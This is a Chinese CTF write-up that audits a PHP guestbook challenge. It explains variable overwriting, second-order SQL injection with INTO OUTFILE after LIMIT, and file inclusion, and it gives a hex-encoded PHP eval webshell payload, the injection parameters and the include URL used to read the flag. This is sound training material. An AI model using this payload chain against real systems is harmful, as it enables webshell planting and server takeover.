上周五三个白帽有个ctf的解题游戏,目标是通过代码审计直至获取目标服务器中的flag。这个解题游戏略坑,但是漏洞点在真实环境下都是存在的。所以,越绕越能激发兴趣,总之玩下来还是很开心的,遂于大家分享下全部过程的思路。

题目解析

这套题目是由php编写,接近实战。通过做完题目,整理内容后发现,这套题目涉及的内容还是很多的。

涉及的技术点

  • 1,敏感信息扫描
  • 2,代码审计
    • 1,可控数据
    • 2,二次注入
    • 3,文件包含
    • 4,变量覆盖
  • 3,Getshell技巧
  • 4,手工读文件

思路流程

起始URL为

1
http://8ed0a7d1a5ed5b5ac.jie.sangebaimao.com/

通过穷举URL路径,发现目录存在sangebaimao.zip文件,下载后开始代码审计。

通过web功能和代码阅读,发现存在如下功能。

  • 注册
  • 登陆
  • 留言
  • 登出

阅读注册的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
include 'init.php';
if(!empty($username) && !empty($password) && !empty($name) && !empty($limit))
{
$username = htmlspecialchars(filter($username));
$password = md5($password);
$name = htmlspecialchars(filter($name));
$limit = filter($limit);
$sql = "select uid from users where username = '$username'";
$result = mysql_query($sql);
if($row = mysql_fetch_array($result))
{
header("location:register.php");exit;
}
$sql = "insert into users(`username`,`password`,`name`,`limit`) values('$username','$password','$name','$limit');";
$result = mysql_query($sql);
if($result)
{
header("location:login.php");exit;
}
}
?>

filter函数为摆设,实际没有功能。因此发现可控参数为

  • username
  • name
  • limit

阅读init.php内的include.php代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
function __autoload($classname) {
$filename = $classname .".php";
include_once($filename);
}
function filter($input)
{
return $input;
}
function errorBox($message)
{
echo $message;
}
foreach(array('_GET','_POST','_COOKIE') as $key){
foreach($$key as $k => $v){
if(is_array($v)){
errorBox("hello,sangebaimao!");
}else{
$k[0] !='_'?$$k = addslashes($v):$$k = "";
}
}
}

发现存在__autoload函数,对于获取的参数均过addslashes函数处理,但是由于$$存在,可能存在变量被覆盖的情况。

阅读login.php代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include 'init.php';
if(!empty($username) && !empty($password))
{
$username = filter($username);
$password = md5($password);
$sql = "select uid,name,`limit` from users where username='$username' and password='$password';";
$result = mysql_query($sql);
if($row = mysql_fetch_array($result))
{
$_SESSION['uid'] = $row['uid'];
$_SESSION['users'] = $row['name'];
$_SESSION['limit'] = $row['limit'];
header("location:main.php");exit;
}
else
{
header("location:index.php");exit;
}
}
header("location:index.php");exit;
?>

session会存储人可控参数name和limit。

阅读main.php代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
include 'init.php';
!$_SESSION['users'] && header("location:index.php");
$name = $_SESSION['users'];
$uid = $_SESSION['uid'];
$num = $_SESSION['limit'];
$message = htmlspecialchars(filter($message));
if(class_exists($action)){
$sangebaimao = new $action();
}
if(!empty($message) && !empty($name))
{
$sql = "insert into guestbook(`uid`,`name`, `message`) values('".$uid."','".$name."','".$message."');";
$result = mysql_query($sql);
if($result)
{
header("location:main.php");
}
$sql = "select id,name,message from guestbook where uid=".$uid." order by id desc limit 0,".$num.";";
$result = mysql_query($sql);
}
?>

发现insert语句和select语句存在注入,通过变量覆盖进入class_exists方法,触发autoload函数(class_exists方法被执行时,会自动触发autoload函数)。

PS:此处是当时做题的一些错误思路。

  • 认为header函数后,会跳出,并不执行后面的select语句,其实这个想法是错的,若想跳出,正确的写法是在header函数后加上die函数或者exit函数。

至此,整个getshell的思路已经缕清了。

  • 通过二次注入写shell。
  • 通过文件包含读shell。

但是问题又出来了,我们知道,只有select语句中,才能写shell,并且通过写shell要有union select。可这次的注入点在是在select语句的limit条件后,那么该怎么办呢。经过询问,得到了limit后可以直接拼接 into outfile函数的这一特性。

好了,我们可以写文件了,那么该如何写呢?

先说下当时的错误思路

首先,我们通过注册,可控name参数,但是注册的时候参数有htmlspecialchars转义,因此必须用16进制传入,但是由于

1
2
3
4
5
$sql = "insert into guestbook(`uid`,`name`, `message`) values('".$uid."','".$name."','".$message."');";
$result = mysql_query($sql);
if($result){
header("location:main.php");
}

我陷入了必须使insert语句报错,才能逃出header函数的错误思路。这个错误思路的流程是insert,select。

正确思路

通过name参数,覆盖掉message参数,预期的sql查询语句如下。

1
insert into guestbook(`uid`,`name`, `message`) values('4','',0x3c3f70687020406576616c28245f504f53545b625d293b3f3e)#','123');

最终整个流程正确的做法是,insert,insert,select。

对了,由于当时web目录不可写,只能向tmp目录写。

1
2
3
4
5
6
7
name参数:,0x3c3f70687020406576616c28245f504f53545b625d293b3f3e)#
limit参数: 1 INTO OUTFILE '/tmp/mtest5.php'
留言,访问shell,利用action进行文件包含
http://8ed0a7d1a5ed5b5ac.jie.sangebaimao.com/main.php?action=/tmp/mtest5&b=1
通过readfile('../FlagQWERTYUIOPDFGHJKLPOKJYJDTYJVFTYUJKMN');读flag。

总结

这套题目做下来还是非常有意思的,各个位置的设置考察了不同的内容,也让大家体验了极端情况下的getshell方式。这套题目的环境非常容易搭建,希望有时间大家也玩玩这套题目。代码见附件。